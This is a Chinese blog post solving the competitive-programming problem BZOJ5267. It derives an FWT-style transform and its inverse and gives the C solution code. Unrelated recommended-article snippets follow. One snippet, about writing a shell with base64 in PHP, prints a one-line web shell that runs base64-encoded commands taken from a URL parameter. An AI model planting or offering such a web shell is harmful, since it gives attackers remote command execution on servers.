一个套路题...但还是得写一下这个套路避免以后忘了

题目中的运算$f(i,j)=(i|j)\text^i$对单位二进制满足$f(0,0)=f(1,0)=f(1,1)=1,f(0,1)=0$

先考虑求正变换,即是求$b_i=\sum\limits_{j=0}^{n-1}\left[2|\text{bit}(f(i,j))\right]a_j$

用类似FWT的过程求$b$

假设我们已经对$l\leq i\leq mid$求出$b_i=\sum\limits_{j=l}^{mid}[2|\text{bit}(f(i,j))]a_j$,已经对$mid+1\leq i\leq r$求出$b_i=\sum\limits_{j=mid+1}^r[2|\text{bit}(f(i,j))]a_j$,现在我们想对$l\leq i\leq r$求$b_i=\sum\limits_{j=l}^r[2|\text{bit}(f(i,j))]a_j$

①对$l\leq i\leq mid$,$\sum\limits_{j=mid+1}^r[2|\text{bit}(f(i,j))]a_j=\sum\limits_{j=mid+1}^ra_j-b_{i+\frac{len}2}$(因为$b_{i+\frac{len}2}$的最高位是$f(1,1)=1$,我们要求的东西的最高位是$f(0,1)=0$,所以$\text{bit}(f(i,j))$奇偶性变化)

②对$mid+1\leq i\leq r$,$\sum\limits_{j=l}^{mid}[2|\text{bit}(f(i,j))]=b_{i-\frac{len}2}$(因为$b_{i-\frac{len}2}$的最高位是$f(0,0)=1$,我们要求的东西的最高位是$f(1,0)=1$,所以$\text{bit}(f(i,j))$奇偶性不变)

写成FWT的格式是$\begin{cases}a_{[0]}'=s_{[1]}-a_{[1]}+a_{[0]}\\a_{[1]}'=a_{[1]}+a_{[0]}\end{cases}$,立得逆变换$\begin{cases}a_{[0]}=\frac{a_{[1]}'+a_{[0]}'-s_{[1]}}2\\a_{[1]}=\frac{a_{[1]}'-a_{[0]}'+s_{[1]}}2\end{cases}$

这种类型的题目大部分可以这样推导出来

剩下一个小问题就是求$s_{[1]}$,一般题目中给的这个运算能让你快速求它,比如这道题中$s_{[1]}=b_{r}-b_{mid}$

时间复杂度$O(n\log_2n)$

#include<stdio.h>
typedef long long ll;
#define NUM(x) ('0'<=x&&x<='9')
char c[40000010];
int ns;
inline ll rd(){
	while(!NUM(c[ns]))ns++;
	ll x=0;
	while(NUM(c[ns]))x=(x<<3)+(x<<1)+c[ns++]-'0';
	return x;
}
ll a[1048576];
int n;
void trans(ll*a){
	int i,j,k;
	ll s,u,v;
	for(i=n;i>1;i>>=1){
		for(j=0;j<n;j+=i){
			s=a[j+i-1]-a[j+i/2-1];
			for(k=0;k<i>>1;k++){
				u=a[j+k];
				v=a[i/2+j+k];
				a[j+k]=(u+v-s)/2;
				a[i/2+j+k]=(-u+v+s)/2;
			}
		}
	}
}
int main(){
	c[fread(c,1,40000010,stdin)]=0;
	int i;
	n=rd();
	for(i=0;i<n;i++)a[i]=rd();
	trans(a);
	for(i=0;i<n;i++)printf("%lld ",a[i]);
}

[BZOJ5267]特工的更多相关文章

  1. 2016动作短片《全境封锁:特工起源》HD720P.英语中字

    导演: 德文·格雷厄姆主演: Matt Lynch / Sasha Andreev / Amanda Day类型: 动作 / 短片制片国家/地区: 美国语言: 英语上映日期: 2016-01-19片长 ...

  2. 【图文】雪佛兰Suburban 美国特工标准座驾_新闻中心_易车网

    [图文]雪佛兰Suburban 美国特工标准座驾_新闻中心_易车网 雪佛兰Suburban 美国特工标准座驾

  3. 宇宙探索特工队&scrum

    对scrum的一些理解 Scrum是一种迭代式增量软件开发过程,通常用于敏捷软件开发.Scrum包括了一系列实践和预定义角色的过程骨架.Scrum中的主要角色包括同项目经理类似的Scrum主管角色负责 ...

  4. 现象级AR营销助力“口碑双十二”,蚂蚁特工在全国数万商户掀起“AR捉四宝”

    领取阅读奖励金 今年双十二,全国人民吃喝玩乐放飞自我,嗨出了新纪元.除了见证你国人民的财力,这个“双十二”还诞生了教科书级的“AR营销”.无论是在口碑商户门口,还是在各大购物广场,都能看到举着手机,正 ...

  5. >>我要做特工系列 之 CSS 3_animation_向右滑出后下滑并停止

    新手入门还没有正式发点啥东西,都是在装潢博客这个家了,到现在为止还是没有装修好..熟悉了这边的发布规范之后会持续在这里记录,给自己留下学习的脚印~ 这正式的第一篇随笔写个使用css3的动画效果. 总感 ...

  6. 【POI】T1 特工 szp

    T1 特工szp [问题描述] Byteotian 中央情报局 (BIA) 雇佣了许多特工. 他们每个人的工作就是监视另一名特工.Byteasar 国王需要进行一次秘密行动,所以他要挑选尽量多的信得过 ...

  7. Asp.Net Mvc自定义控件之树形结构数据生成表格 - WPF特工队内部资料

    最近项目中有一个需求,将树形结构的数据,以表格的形式展示在页面中,下图是最终呈现效果: 源码: @{ Layout = null; } <!DOCTYPE html> <html&g ...

  8. [异常特工]android常见bug跟踪

    前言 对app的线上bug的收集(友盟.云捕等)有时会得到这样的异常堆栈信息:没有一行代码是有关自身程序代码的.这使得对bug的解决无从下手,根据经验,内存不足OOM,Dialog关闭,ListVie ...

  9. WPF报表自定义通用可筛选列头-WPF特工队内部资料

    由于项目需要制作一个可通用的报表多行标题,且可实现各种类型的内容显示,包括文本.输入框.下拉框.多选框等(自定的显示内容可自行扩展),并支持参数绑定转换,效果如下: 源码结构 ColumnItem类: ...

随机推荐

  1. 各浏览器的Hack写法【转】

    Hack是针对不同的浏览器去写不同的CSS样式,从而让各浏览器能达到一致的渲染效果,那么针对不同的浏览器写不同的CSS CODE的过程,就叫CSS HACK,同时也叫写CSS Hack.然后将Hack ...

  2. web_一些常用的线上脚本地址记录(个人使用)

    1.jquery <script src="http://code.jquery.com/jquery-1.4.1.min.js"></script> 2. ...

  3. Linux中的vim实用命令 -- (转)

    VI 有2个模式.我自己定义的   1. 命令模式,一开始进去的模式.一些指定的键盘输入会产生不同的效果 2. 输入模式,在命令模式下输入冒号(:) 就可以进入输入模式.按Esc键即可退出命令模式. ...

  4. perl6中的q/qq/qx/qqx

    q不内插 qq内插 qx不内插 qqx内插

  5. php中的base64写shell

    <?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>

  6. nginx路由文件配置

    nginx中文文档 Nginx 的请求处理有多个阶段,比如说rewrite.access.content等等,不同的配置字段属于不同的配置阶段,不同阶段的先后执行顺序不一样,例如rewrite在con ...

  7. monkey测试===修改adb的默认端口

    最近电脑上由于公司系统的原因,adb的端口被占用了,但是占用端口的进程是必须启动的,不能被杀死,在网上找了很多办法,大家都是说杀死占用端口的进程.这个方法并不适用我,所以在此给大家一个新的方法.新建一 ...

  8. 在linux内核中获得比jiffies精度更高的时间值【转】

    转自:http://blog.chinaunix.net/uid-20672257-id-2831219.html 内核一般通过jiffies值来获取当前时间.尽管该数值表示的是自上次系统启动到当前的 ...

  9. Makefile 跟着走快点

    引言  - 从"HelloWorld"开始 Makefile 是Linux C 程序开发最重要的基本功. 代表着整个项目编译和最终生成过程.本文重点是带大家了解真实项目中那些简易的 ...

  10. jQuery为多个元素绑定同一个事件

    $('.toals,input[type=datetime]').on('focus',function(){ $('.footer-focus-none').css('display','none' ...